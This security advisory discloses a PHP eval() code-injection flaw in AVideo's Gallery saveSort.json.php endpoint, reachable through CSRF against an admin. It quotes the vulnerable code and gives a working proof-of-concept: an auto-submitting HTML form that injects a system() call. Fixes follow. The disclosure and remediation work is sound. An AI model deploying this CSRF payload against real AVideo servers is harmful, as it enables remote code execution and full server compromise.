AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin

Summary

The Gallery plugin's saveSort.json.php endpoint passes unsanitized user input from $_REQUEST['sections'] array values directly into PHP's eval() function. While the endpoint is gated behind User::isAdmin(), it has no CSRF token validation. Combined with AVideo's explicit SameSite=None session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page.

Details

Vulnerable code — plugin/Gallery/view/saveSort.json.php:20-25:

if(!empty($_REQUEST['sections'])){
    $object = $gallery->getDataObject();
    foreach ($_REQUEST['sections'] as $key => $value) {
        $obj->sectionsSaved[] = array($key=>$value);
        eval("\$object->{$value}Order = \$key;");
    }
    $obj->error = !$gallery->setDataObject($object);
}

The $value variable from $_REQUEST['sections'] is interpolated directly into the string passed to eval() with no sanitization — no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like 'Shorts', 'Trending', etc. from jQuery UI sortable, but the server enforces no such constraint.

CSRF enablement — objects/include_config.php:134-137:

if ($isHTTPS) {
    ini_set('session.cookie_samesite', 'None');
    ini_set('session.cookie_secure', '1');
}

The session cookie is explicitly set to SameSite=None, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in objects/functionsPHP.php:330-333 where additional cookies are set with SameSite=None; Secure.

No CSRF protection — The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no X-Requested-With header check. There is no global CSRF middleware in AVideo's bootstrap chain.

Exploit chain:

1. Attacker crafts a page with an auto-submitting form targeting saveSort.json.php
2. Admin visits the attacker's page (e.g., via a link in a comment, email, or message)
3. The browser sends the cross-site POST request with the admin's session cookie attached (due to SameSite=None)
4. User::isAdmin() passes because the admin's session is present
5. The injected PHP code in the sections array value is passed to eval() and executes

PoC

Step 1: Host the following HTML on an attacker-controlled server:

<!DOCTYPE html>
<html>
<body>
<form id="exploit" action="https://TARGET/plugin/Gallery/view/saveSort.json.php" method="POST">
  <input type="hidden" name="sections[0]" value="x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//">
</form>
<script>document.getElementById('exploit').submit();</script>
</body>
</html>

The base64 decodes to id;hostname.

Step 2: Lure an authenticated AVideo admin to visit the page.

Step 3: The eval on line 24 executes:

$object->x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//Order = 0;

This breaks out of the property assignment, calls system() with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side.

Expected result: The id and hostname commands execute on the server under the web server's user context.

Impact

• Remote Code Execution — An attacker achieves arbitrary PHP code execution on the server by luring an admin to visit a malicious page. No prior authentication or account on the target is required.
• Full server compromise — The attacker can read/write files, access the database, pivot to other services, install backdoors, or exfiltrate data.
• Stealth — The attack is a single form submission that completes in milliseconds. The admin may not notice anything unusual.
• Blast radius — Any AVideo instance running over HTTPS (which triggers SameSite=None) where an admin can be lured to click a link is vulnerable.

Recommended Fix

Primary fix — Replace eval() with an allowlist check:

In plugin/Gallery/view/saveSort.json.php, replace lines 20-26:

if(!empty($_REQUEST['sections'])){
    $object = $gallery->getDataObject();
    $allowedSections = ['Shorts', 'Trending', 'SiteSuggestion', 'Newest', 
                        'Subscribe', 'Popular', 'LiveStream', 'Category', 
                        'Program', 'Channel'];
    foreach ($_REQUEST['sections'] as $key => $value) {
        if (!in_array($value, $allowedSections, true)) {
            continue;
        }
        $obj->sectionsSaved[] = array($key => $value);
        $property = $value . 'Order';
        $object->$property = intval($key);
    }
    $obj->error = !$gallery->setDataObject($object);
}

This eliminates eval() entirely, validates $value against a known allowlist of section names, and uses dynamic property access ($object->$property) instead of code generation.

Secondary fix — Add CSRF protection to all state-changing endpoints, or at minimum set SameSite=Lax on session cookies instead of SameSite=None in objects/include_config.php:135:

ini_set('session.cookie_samesite', 'Lax');

This prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.